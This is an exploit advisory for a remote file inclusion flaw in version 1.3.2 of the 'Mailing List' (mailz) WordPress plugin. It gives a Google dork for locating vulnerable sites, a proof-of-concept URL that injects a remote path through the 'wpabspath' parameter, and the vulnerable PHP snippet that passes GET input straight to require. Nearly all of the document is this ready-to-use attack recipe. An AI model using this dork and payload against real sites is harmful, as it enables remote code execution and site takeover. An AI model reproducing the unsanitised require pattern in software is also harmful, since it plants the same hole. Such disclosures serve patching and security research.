Wordpress Mailing List Plugin 1.3.2 Remote File Inclusion

# Exploit Title: Mailing List Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/mailz
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/mailz/download/
# Version: 1.3.2 (tested)

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PoC
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http://SERVER/WP_PATH/wp-content/plugins/mailz/lists/config/config.php?wpabspath=RFI

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Vulnerable Code
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if ( isset($_GET['wpabspath']) ) {
 //zingiri
 //error_reporting(E_ALL & ~E_NOTICE);
 //ini_set('display_errors', '1');
 define('ABSPATH', dirname(__FILE__) . '/');
 require($_GET['wpabspath'].'wp-config.php');